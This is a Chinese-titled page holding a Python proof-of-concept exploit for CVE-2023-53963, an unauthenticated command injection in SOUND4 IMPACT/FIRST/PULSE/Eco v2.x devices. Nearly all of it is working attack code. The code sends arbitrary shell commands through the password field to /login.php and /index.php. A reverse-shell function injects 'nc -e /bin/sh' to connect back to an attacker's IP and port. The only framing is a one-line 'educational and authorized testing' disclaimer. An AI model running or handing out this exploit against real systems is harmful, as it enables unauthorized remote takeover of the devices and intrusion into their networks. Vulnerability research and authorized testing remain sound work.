CVE-2023-53963: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x 未授权远程命令注入漏洞

#!/usr/bin/env python3 """ CVE-2023-53963 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco Unauthenticated RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit(target_url, command="whoami"): """ Exploit the command injection vulnerability in SOUND4 devices. Args: target_url: Base URL of the target SOUND4 device command: Command to execute on the target system Returns: Response from the target server """ # Target endpoints that are vulnerable endpoints = ["/login.php", "/index.php"] # Payload construction: inject command via password parameter # Using semicolon to chain commands payload = {"password": f"'; {command} #"} for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying endpoint: {url}") try: response = requests.post(url, data=payload, timeout=10, verify=False) # Check if command was executed (response may vary) if response.status_code == 200: print(f"[!] Request sent to {endpoint}") print(f"[*] Payload: {payload['password']}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") return None def reverse_shell(target_url, attacker_ip, attacker_port): """ Generate a reverse shell payload. Args: target_url: Base URL of the target attacker_ip: Attacker IP address attacker_port: Attacker listening port """ # Netcat reverse shell payload command = f"nc -e /bin/sh {attacker_ip} {attacker_port}" # URL encode the payload payload = {"password": f"'; {command} #"} url = target_url.rstrip('/') + "/login.php" print(f"[*] Sending reverse shell payload to {url}") print(f"[*] Payload: {payload['password']}") print(f"[*] Ensure netcat listener is running: nc -lvnp {attacker_port}") response = requests.post(url, data=payload, timeout=10, verify=False) return response if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2023-53963.py <target_url> [command]") print("Example: python3 cve-2023-53963.py http://192.168.1.100") print("Example: python3 cve-2023-53963.py http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" print(f"[*] Exploiting CVE-2023-53963 on {target}") print(f"[*] Executing command: {cmd}") result = exploit(target, cmd) if result: print("[+] Exploit sent successfully") else: print("[-] Exploitation failed or target not vulnerable")